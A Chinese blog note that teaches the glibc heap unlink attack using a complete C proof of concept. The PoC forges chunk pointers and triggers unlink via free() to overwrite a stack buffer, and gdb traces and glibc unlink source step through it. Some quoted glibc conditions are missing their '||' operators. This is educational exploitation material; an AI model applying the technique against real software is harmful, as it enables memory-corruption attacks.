关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)

First Post:

Last Update:

 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

参考文章:

        在此先给出几篇可供参考的文章。笔者认为几位师傅所写的都比笔者所写要来得更加精炼。倘若您通过如下几篇文章已经能够完全理解Unlink为何,那么大可以不再阅读这篇冗长的文章。

安全客:https://www.anquanke.com/post/id/197481

看雪:https://bbs.pediy.com/thread-224836.htm

CTF-WIKI:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

环境与工具:

        环境:Ubuntu16.4 / gcc / (gdb)pwn-dbg

        范例:Heap Exploitation系列unlink部分(源代码将直接在下面贴出)

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("%p\n", &chunk1);
printf("%p\n", chunk1);
printf("%p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("%p\n", chunk1);
printf("%p\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

代码调试:

        读者可以试着先行阅读一下代码,看看是否能够理解其逻辑。笔者在调试时由于对指针和寻址等相关知识的不熟练而倍感困惑,倘若读者在阅读代码过程中通畅无阻,那么这个案例便不是那么困难了。

1
2
3
4
5
6
7
8
9
gdb-peda$ b 20
Breakpoint 1 at 0x40067d: file test.c, line 20.
gdb-peda$ b 31
Breakpoint 2 at 0x4006db: file test.c, line 31.
gdb-peda$ b 36
Breakpoint 3 at 0x400703: file test.c, line 36.
gdb-peda$ b 44
Breakpoint 4 at 0x400731: file test.c, line 44.
gdb-peda$ run

        首先开辟三个chunk,这此我们有必要记录一下打印得到的结果:

1
2
3
4
5
gdb-peda$ continue
Continuing.
0x7fffffffde00 //chunk1指针地址
0x602010 //chunk1堆地址——user data
0x6020a0 //chunk2堆地址——user data

        继续continue直到第36行,查看此时的heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x7fffffffdde8,
bk_nextsize = 0x7fffffffddf0
}
0x602090 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602120 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x3061303230367830,
bk = 0xa30306564660a,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602530 PREV_INUSE {
prev_size = 0x0,
size = 0x20ad1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

        我们发现,chunk 1的 fd 和 bk 指针已经被指向了栈的地方。 

        先抛开这究竟是如何实现的,我们需要先了解一下

什么是Unlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
1459 /* Take a chunk off a bin list.  */
1460 static void
1461 unlink_chunk (mstate av, mchunkptr p)
1462 {
1463 if (chunksize (p) != prev_size (next_chunk (p)))
1464 malloc_printerr ("corrupted size vs. prev_size");
1465
1466 mchunkptr fd = p->fd;
1467 mchunkptr bk = p->bk;
1468
1469 if (__builtin_expect (fd->bk != p bk->fd != p, 0))
1470 malloc_printerr ("corrupted double-linked list");
1471
1472 fd->bk = bk;
1473 bk->fd = fd;
1474 if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
1475 {
1476 if (p->fd_nextsize->bk_nextsize != p
1477 p->bk_nextsize->fd_nextsize != p)
1478 malloc_printerr ("corrupted double-linked list (not small)");
1479
1480 if (fd->fd_nextsize == NULL)
1481 {
1482 if (p->fd_nextsize == p)
1483 fd->fd_nextsize = fd->bk_nextsize = fd;
1484 else
1485 {
1486 fd->fd_nextsize = p->fd_nextsize;
1487 fd->bk_nextsize = p->bk_nextsize;
1488 p->fd_nextsize->bk_nextsize = fd;
1489 p->bk_nextsize->fd_nextsize = fd;
1490 }
1491 }
1492 else
1493 {
1494 p->fd_nextsize->bk_nextsize = p->bk_nextsize;
1495 p->bk_nextsize->fd_nextsize = p->fd_nextsize;
1496 }
1497 }
1498 }

        Unlink实则为一个函数,在特定情况下被调用。函数功能为:将一个chunk从链表中摘下

        这里所说的链表,其实就是Bins结构。

        这里引用一下知世师傅的总结:

使用unlink的时机

  • malloc
    1. 在恰好大小的large chunk处取chunk时
    2. 在比请求大小大的bin中取chunk时
  • Free
    1. 后向合并,合并物理相邻低物理地址空闲chunk时
    2. 前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外)
  • malloc_consolidate
    1. 后向合并,合并物理相邻低地址空闲chunk时。
    2. 前向合并,合并物理相邻高地址空闲 chunk时(top chunk除外)
  • realloc 前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)

        其具体的执行效果一言蔽之就是:(P为链表中需要被摘下的节点)

1
2
P->fd->bk = P->bk.
P->bk->fd = P->fd.

        本章我们将以Free时候发生Unlink来示范,看看堆管理器究竟在做些什么。

调试继续:

        我们查看一下两个指针的地址,并在图中标出:(不要过于纠结fake_chunk名字的意义)

1
2
3
4
5
6
7
8
gdb-peda$ p fake_chunk 
$1 = (struct chunk_structure *) 0x602010
gdb-peda$ p &fake_chunk
$2 = (struct chunk_structure **) 0x7fffffffde10
gdb-peda$ p &chunk1
$3 = (unsigned long long **) 0x7fffffffde00
gdb-peda$ p &data
$4 = (char (*)[20]) 0x7fffffffde20

         第32,33行的两行代码,我将其地址标注在上图中了。值得注意的是,这两个指针均为“指向chunk”的指针,即——将 &chunk1-3&chunk1-2 视为了两个不同的chunk

Unlink安全性检查:

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

        由于这个检查,因此才有上面的伪造。

        现在,不妨跟随一下这个检查,其要求为:(P为链表中需要被摘下的节点,此处是chunk1)

1
2
P->fd->bk == P
P->bk->fd == P

         chunk1->fd=&chunk1-3,根据上面的栈表,我们可以轻松的发现:chunk1->fd->bk=602010

        对于另外一个判断也是如此。我们成功的**将 栈 伪造成了两个chunk(fd和bk)**来骗过了管理器。

调试继续:

         因为

1
fake_chunk = (struct chunk_structure *)chunk1;

         因此,我们操作fake_chunk的fd/bk指针就是操作chunk1的对应指针,于是才有了前面给出的堆的状态。

        继续调试,从第36行到44行。

        chunk2_hdr是指向chunk2真正的开头的指针。在第二章中曾提到过,malloc返回的内容并不是真正指向chunk的开头,而是往下增加了16字节。

        第37和38行则是在伪造chunk1的状态:

        prev_size表示上一个相邻空闲块的大小(若该相邻块是被使用的,则会被占用,用来填充用户数据),第38行则将P标记位置0,表示上一个相邻块已被释放。

        至此,我们已经伪造好了chunk1的状态。当使用free(chunk2)的时候,管理器会发现chunk1是处于被释放状态的,于是将chunk2和chunk1进行合并。

Free与触发Unlink:

        当我们执行

1
free(chunk2);

        时候将触发Unlink,对chunk1做如下行为:

1
2
P->fd->bk = P->bk.
P->bk->fd = P->fd.

        结果是令人疑惑的,但如果按照笔者上述的逻辑,大致还是能够理顺的:(P为chunk1)

1
2
3
4
&(P->fd->bk)=0x7fffffffde10
该地址处的内容被替换为(&chunk1-2)=0x7fffffffddf0
&(P->bk->fd)=0x7fffffffde10
该地址处的内容被替换为(&chunk1-3)=0x7fffffffdde8

         现在我们再看chunk1与chunk[3],将得到相同的结果:

1
2
3
4
5
6
gdb-peda$ p chunk1
$16 = (unsigned long long *) 0x7fffffffdde8
gdb-peda$ p &chunk1[3]
$17 = (unsigned long long *) 0x7fffffffde00
gdb-peda$ p chunk1[3]
$18 = 0x7fffffffdde8

         “chunk1的内容和chunk1[3]相同,chunk1[3]的地址和chunk1的地址相同”,乍一看相当反直觉的表述,但根据栈图还是能够理解的,继续往下:

1
chunk1[3] = (unsigned long long)data;

        此时,该操作就会将chunk1的值替换为Data的指针。因此,只要我们能够操作chunk1的值,就变相的能够读写Data中的数据了

1
2
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);//hacked!

关于寻址:

         说了这么多,最后是关于寻址的问题。

        上文案例中,chunk1并不在Bins中,那这个Unlink的执行会否显得有些突兀?

        从寻址的角度来说,管理器并不关心chunk1是否处于Bins中。它通过Size和Prev_Size来找到chunk1,并且由于chunk1的fd和bk指针都存在,管理器就误认为chunk1是被挂在Bins中的一个节点。也就是说,堆管理器并没有检查Bins中是否真的存在这个节点

        实际上,即使chunk1真的是Bins中的一个节点,这种寻址方式也不会有任何问题,它会顺利的摘下chunk1;只是在本例中,管理器以为自己从Bins中摘除了chunk1罢了 ​

插画ID:91110244